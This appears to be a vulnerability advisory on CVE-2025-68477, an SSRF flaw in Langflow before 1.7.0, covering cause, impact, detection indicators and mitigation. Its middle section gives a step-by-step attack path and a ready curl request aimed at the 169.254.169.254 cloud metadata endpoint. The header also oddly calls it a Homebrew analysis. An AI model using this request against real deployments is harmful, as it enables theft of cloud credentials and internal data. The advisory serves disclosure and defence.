CVE-2025-68477: 
Homebrew vulnerability analysis and mitigation

CVE-2025-68477 is a Server-Side Request Forgery (SSRF) vulnerability in Langflow's API Request component that allows authenticated attackers to issue arbitrary HTTP requests from the server's network context. It affects all Langflow versions prior to 1.7.0 (pip package). The vulnerability was disclosed on December 19, 2025, by researcher im-soohyun via GitHub Security Advisory GHSA-5993-7p27-66g5. The CNA (GitHub) assigned a CVSS v3.1 score of 7.7 (High), while NVD assessed it at 6.5 (Medium) (Github Advisory, Langflow Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): Langflow's API Request component accepts a user-supplied URL, performs only basic normalization (adding https:// if no scheme is present) and format validation via the validators.url() check, but applies no blocklist for private IP ranges (127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata endpoints (169.254.169.254). The server-side httpx.AsyncClient then issues the request and returns the full response body to the caller via metadata["result"]. Because the flow execution endpoints (/api/v1/run/{flow_id} and /api/v1/run/advanced/{flow_id}) require only a valid API key, any attacker who possesses one can inject an internal URL via the tweaks parameter (e.g., "API Request": {"url_input": "http://169.254.169.254/latest/meta-data/"}) to perform non-blind SSRF. A public PoC demonstrating exploitation against a Docker-networked internal service was included in the original advisory (Langflow Advisory).

Successful exploitation enables an authenticated attacker to read responses from internal administrative endpoints, metrics dashboards, management consoles, and internal databases — resulting in high confidentiality impact with no integrity or availability impact. In cloud-hosted deployments, attackers can query the Instance Metadata Service (IMDS) at 169.254.169.254 to steal cloud credentials, IAM roles, and instance configuration data. Because the SSRF is non-blind (the full response body is returned to the attacker), collected data can be immediately leveraged for lateral movement, credential theft, or as a stepping stone toward an SSRF→RCE chain by invoking privileged internal APIs (Langflow Advisory, Github Advisory).

A public PoC was included in the original GitHub Security Advisory, demonstrating exploitation via a curl command targeting the /api/v1/run/advanced/ endpoint with a crafted tweaks payload pointing to an internal service. As of the advisory date, there is no confirmed evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.027% (8th percentile), indicating low but non-zero exploitation probability. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory, Langflow Advisory).

1. Reconnaissance: Identify internet-facing or network-accessible Langflow instances running versions prior to 1.7.0 using tools like Shodan (search for langflow or port 7860). Confirm the version via the Langflow UI or API.
2. Obtain API Key: Acquire a valid Langflow API key — either through legitimate access, credential theft, or by exploiting weak key management practices.
3. Identify a flow with an API Request component: Browse the Langflow UI or enumerate flows via the API to find a flow containing an API Request node. Note the flow ID (UUID).
4. Craft the SSRF payload: Construct a POST request to /api/v1/run/advanced/{flow_id} with the tweaks parameter overriding the url_input field of the API Request component to point to an internal target (e.g., http://169.254.169.254/latest/meta-data/ for cloud IMDS, or an internal service IP/hostname):

curl -s -X POST 'http://<langflow-host>:7860/api/v1/run/advanced/<flow-id>' \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: <api-key>' \
  --data-raw '{
    "inputs":[{"components":[],"input_value":""}],
    "outputs":["Chat Output"],
    "tweaks":{"API Request":{"url_input":"http://169.254.169.254/latest/meta-data/","include_httpx_metadata":false}},
    "stream":false
  }'

5. Collect the response: Parse the JSON response to extract outputs[0].outputs[0].results.message.text, which contains the full response body from the internal target — confirming non-blind SSRF.
6. Escalate: Use retrieved cloud credentials, tokens, or internal service data to pivot further into the environment (Langflow Advisory).

• Network: Outbound HTTP requests from the Langflow server process to RFC-1918 addresses (10.x.x.x, 172.16-31.x.x, 192.168.x.x) or the link-local IMDS address 169.254.169.254; unexpected connections to internal services on non-standard ports originating from the Langflow host.
• Logs: Langflow API access logs showing POST requests to /api/v1/run/{flow_id} or /api/v1/run/advanced/{flow_id} with tweaks bodies containing internal IP addresses or hostnames in the url_input field; repeated requests to the same flow ID from a single API key in a short time window.
• Application Logs: Langflow application logs recording API Request component executions with source fields pointing to private IP ranges or 169.254.169.254.
• Process: The Langflow Python process (uvicorn/gunicorn) initiating TCP connections to internal network hosts that are not part of normal application behavior (Langflow Advisory).

Upgrade Langflow to version 1.7.0 or later (pip: pip install --upgrade langflow), which contains the patch for this issue; the GitHub Advisory Database notes the patched version as 1.7.1 for the pip package. If immediate upgrade is not possible, implement network-level controls: use firewall rules or security groups to block the Langflow server from initiating connections to private IP ranges and the IMDS endpoint (169.254.169.254). Additionally, restrict API key issuance to trusted users only, disable or remove the API Request component from flows if not required, and apply network segmentation to limit the blast radius of any SSRF exploitation (Langflow Advisory, Github Advisory).

The vulnerability was reported by researcher im-soohyun and published by Langflow maintainer jordanrfrazier on December 19, 2025. It was picked up by multiple vulnerability tracking services including CIRCL, VulnDB, CVEFeed, and ENISA's EUVD shortly after disclosure. Check Point published a defense advisory (CPAI-2025-15225) referencing the vulnerability. No significant public controversy or widespread social media discussion has been observed beyond standard CVE tracking channels (Langflow Advisory).